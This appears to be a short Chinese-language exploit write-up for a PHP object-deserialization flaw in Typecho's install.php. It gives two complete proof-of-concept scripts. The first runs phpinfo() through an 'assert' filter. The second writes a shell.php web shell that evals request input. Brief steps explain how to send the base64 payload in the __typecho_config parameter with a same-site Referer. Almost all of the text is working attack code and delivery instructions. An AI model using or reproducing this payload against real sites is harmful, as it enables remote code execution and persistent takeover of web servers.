PHPINFO

POC.php


<?php
class Typecho_Feed 
{ 
	const RSS1 = 'RSS 1.0'; 
	const RSS2 = 'RSS 2.0'; 
	const ATOM1 = 'ATOM 1.0'; 
	const DATE_RFC822 = 'r'; 
	const DATE_W3CDTF = 'c'; 
	const EOL = "\n"; 
	private $_type; 
	private $_items; 
	
	public function __construct(){
    $this->_type = $this::RSS2; 
    $this->_items[0] = array( 
    	'title' => '1', 
    	'link' => '1', 
    	'date' => 1508895132, 
    	'category' => array(new Typecho_Request()), 
    	'author' => new Typecho_Request(), 
    	); 
  	} 
} 
class Typecho_Request 
{ 
	private $_params = array(); 
	private $_filter = array(); 
	public function __construct(){ 
	$this->_params['screenName'] = 'phpinfo()';    //替换phpinfo()这里进行深度利用
	$this->_filter[0] = 'assert'; 
	} 
} 
 
$exp = array( 
	'adapter' => new Typecho_Feed(), 
	'prefix' => 'typecho_' 
); 
 
echo base64_encode(serialize($exp));
?>

POST数据包如下，访问install.php并携带参数finish，Referer来自本网站，POST传递恶意参数

GETshell

<?php
class Typecho_Feed{
	const RSS1 = 'RSS 1.0';
	const RSS2 = 'RSS 2.0';
	const ATOM1 = 'ATOM 1.0';
   	const DATE_RFC822 = 'r';
	const DATE_W3CDTF = 'c';
	const EOL = "\n";
	private $_type;
	private $_items;
	
	public function __construct(){
		$this->_type = $this::RSS2;
		$this->_items[0] = array(
			'title' => '1',
			'link' => '1',
			'date' => 1508895132,
			'category' => array(new Typecho_Request()),
			'author' => new Typecho_Request(),
		);
	}
}

class Typecho_Request{
	private $_params = array();
	private $_filter = array();

	public function __construct(){
		$this->_params['screenName'] = "fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')";
		$this->_filter[0] = 'assert';
    }
}

$exp = array(
	'adapter' => new Typecho_Feed(),
	'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

步骤和前面一样，把payload放__typecho_config=就行
